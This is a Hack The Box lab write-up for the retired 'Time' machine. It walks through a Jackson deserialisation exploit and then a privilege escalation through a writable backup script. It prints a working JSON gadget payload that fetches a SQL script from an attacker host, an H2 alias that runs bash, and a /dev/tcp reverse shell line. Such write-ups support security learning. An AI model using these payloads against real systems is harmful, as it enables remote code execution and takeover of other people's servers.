HTB Write-up | Time

HTB Write-up | Time
Retired machine can be found here.

Scanning

It seems like this machine is running OpenSSH on port 22 and an Apache web server on port 80:

~ nmap -sC -sV time.htb

PORT   STATE SERVICE VERSION
PORT     STATE    SERVICE        VERSION
22/tcp   open     ssh            OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open     http           Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser

When we access the website, we see a simple JSON "beautifier" and validator.

After submitting a couple of invalid JSON objects, it was clear from the error responses that the JSON was being parsed and validated using Jackson:

Validation failed: Unhandled Java exception:
com.fasterxml.jackson.databind.exc.MismatchedInputException: 
Unexpected token (START_OBJECT), expected VALUE_STRING: 
need JSON String that contains type id (for subtype of java.lang.Object)

Turns out this parser has 3 CVEs, all to do with deserialisation vulnerabilities.

This is a very good article that explains the root of these vulnerabilities and how to exploit them.


Exploiting Jackson

Since this version of Jackson already blocklists some insecure types, I had to rely on this BlackHat presentation from 2019 to find a valid exploit:

After going through this article, I realised that the easiest way to achieve an RCE using DriverManagerConnectionSource would be to abuse H2's INIT=RUNSCRIPT FROM feature.

Using this option, a database can be initialised with a SQL file that's hosted on the attacker's machine (I used python -m SimpleHTTPServer 8000 to serve it).

[
    "ch.qos.logback.core.db.DriverManagerConnectionSource", 
    {
    	"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://[attacker-ip]:8000/inject.sql'"
     }
]

This SQL file also abuses an H2 feature - Database ALIAS - to create the reverse shell, as shown below:

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
    String[] command = {"bash", "-c", cmd};
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";  }$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/[attacker-ip]/[attacker-port] 0>&1')

And we get a shell as pericles, which in this case also gives us the ability to read the user flag!


pericles gets root

While looking for files that belonged to group pericles, I saw something that caught my eye:

pericles@time:~$ find / -group pericles

...
/usr/bin/timer_backup.sh
...
pericles@time:~$ cat /usr/bin/timer_backup.sh
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip

It looks like this script is periodically zipping the /var/www/html directory and then moving the zip file to the root directory.

This means that the script can access the root directory, which we can abuse by adding an extra line to it that writes the root flag to a directory accessible to our user, such as tmp:

pericles@time:~$ echo 'cat /root/root.txt > /tmp/out' >> /usr/bin/timer_backup.sh

pericles@time:~$ cat  /usr/bin/timer_backup.sh
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
cat /root/root.txt > /tmp/out

Our root flag is now at /tmp/out.

And we're done 😊